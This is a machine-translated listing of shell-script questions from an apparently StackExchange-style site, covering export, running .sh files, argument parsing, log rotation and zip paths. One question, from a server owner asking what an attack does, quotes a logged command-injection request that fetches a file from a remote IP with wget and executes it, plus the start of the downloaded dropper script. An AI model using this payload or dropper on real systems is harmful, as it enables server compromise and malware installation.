Questions tagged «shell-script»

Shell脚本是为操作系统的Shell(或命令行解释器)编写的脚本。




3
出口在BASH中做什么?[重复]
可能重复: bash中“ a = b”和“ export a = b”之间的差异 很难承认,但是我从来没有真正理解export过环境变量到底能做什么。我知道,如果不导出变量,有时在子进程中看不到该变量,但有时似乎可以。我说的时候到底是怎么回事 export foo=5 什么时候不应该导出变量?

15
如何在Windows上执行.sh文件?
当我尝试通过./name.sh命令在命令行中执行文件(name.sh)时,出现以下错误: “。” 无法识别为内部或外部命令,可操作文件或批处理文件 请帮助我执行.sh文件

4
检查bash脚本的任何参数是否与字符串匹配
我正在尝试编写一个脚本,在该脚本中,我要检查传递给bash脚本的任何参数是否与字符串匹配。我现在设置的方式是 if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] 但是可能有很多参数,所以我想知道是否有更好的方法可以做到这一点? 谢谢 编辑:我尝试了这段代码,并使用-disableVenusBld选项调用了脚本,但是它仍然打印出“开始构建”。难道我做错了什么?提前致谢! while [ $# -ne 0 ] do arg="$1" case "$arg" in -disableVenusBld) disableVenusBld=true ;; -disableCopperBld) disableCopperBld=true ;; -disableTest) disableTest=true ;; -disableUpdate) disableUpdate=true ;; *) nothing="true" ;; esac shift done …

9
记录stdout的旋转?
我有一个Linux程序,可以将信息写入stdout和stderr。 我有一个Shell脚本,可将输出重定向到中的文件/var/log。(通过>>和2>&1。) 有没有办法使该日志文件旋转?(最大大小,然后切换到其他文件,仅保留有限数量的文件) 我已经看到了一些有关该logrotate程序的答案,听起来不错,但它们似乎也集中在内部生成日志文件并处理HUP信号的程序上。有没有办法通过基本的输出重定向脚本来实现此目的?

3
避免Zip文件中不需要的路径
我正在制作一个Shell脚本来打包一些文件。我正在压缩这样的目录: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ 问题在于生成的out.zip归档文件中包含整个文件路径。也就是说,解压缩后,它将具有完整的“ / Users / me / development / anotherthing /”路径。将目录放入存档时是否可以避免这些深层路径? 当我从目标目录中运行zip时,我没有这个问题。 zip -r out.zip ./folder/ 在这种情况下,我不会得到所有的垃圾。但是,有问题的脚本将从任何地方调用。 FWIW,我在Mac OS X 10.6上使用bash。
49 macos  bash  zip  path  shell-script 


2
“ echo $(stuff)”或“ echo`stuff`”有什么问题?
我使用以下之一 echo $(stuff) echo `stuff` (stuff例如pwd或date或更复杂的地方)。 然后我被告知,这种语法是错误的,是一种错误的做法,不雅致,过多,冗余,过于复杂,不道德的编程,无礼,天真等。 但是该命令确实有效,那么究竟出了什么问题呢?
31 shell-script  sh  echo 

2
这个bash脚本做什么?[尝试失败]
我一直在注意服务器apache日志,最近有以下奇怪的几行: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。 但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底在做什么。关于删除/ var和/ tmp中的arch文件夹的东西? 无论如何,这里是: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …


2
Shell脚本将新行回显到文件
我想在shell脚本中的变量之间回显新行。这是我的代码: var1 =“ Hello” var2 =“ World!” logwrite =“ $ var1 [在这里我要插入新行的地方] $ var2 echo“ $ logwrite” >> / Users /用户名/Desktop/user.txt 现在,当我运行脚本时,文件user.txt显示如下: 你好,世界! 我希望它显示: 你好 世界! 我该怎么做呢?? 编辑:这是我的shell脚本: echo -n“您的名字是什么?” 首先阅读 echo -n“您的姓氏是什么?” 最后阅读 echo -n“您的中间名是什么?” 阅读中间 echo -n“你生日是几岁?” 读生日 echo -e“名字:$ first / n姓氏:$ last / n中间名:$ middle / …


3
如何在Mac OS X Yosemite上更新bash
只是想稍微学习一下bash脚本。我的旧bash版本: Bash version 3.2.53(1)-release... 我已经用自制软件在Mac OS X优胜美地上更新了bash: brew update brew install bash 然后在终端属性中,我将标准外壳程序路径从更改/bin/bash为/usr/local/bin/bash(据我所知,这是自制软件安装更新的bash的位置)。 然后我再次检查了结果(看起来一切都很好): $ echo $BASH_VERSION Bash version 4.0.33(0)-release... 但是,当我尝试编写一个简单的bash脚本时: #!/bin/bash echo "Bash version ${BASH_VERSION}..." for i in {0..10..2} do echo "Welcome $i times" done 结果是: Bash version 3.2.53(1)-release... Welcome {0..10..2} times 代替: Bash version 4.0.33(0)-release... Welcome 0 times …

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.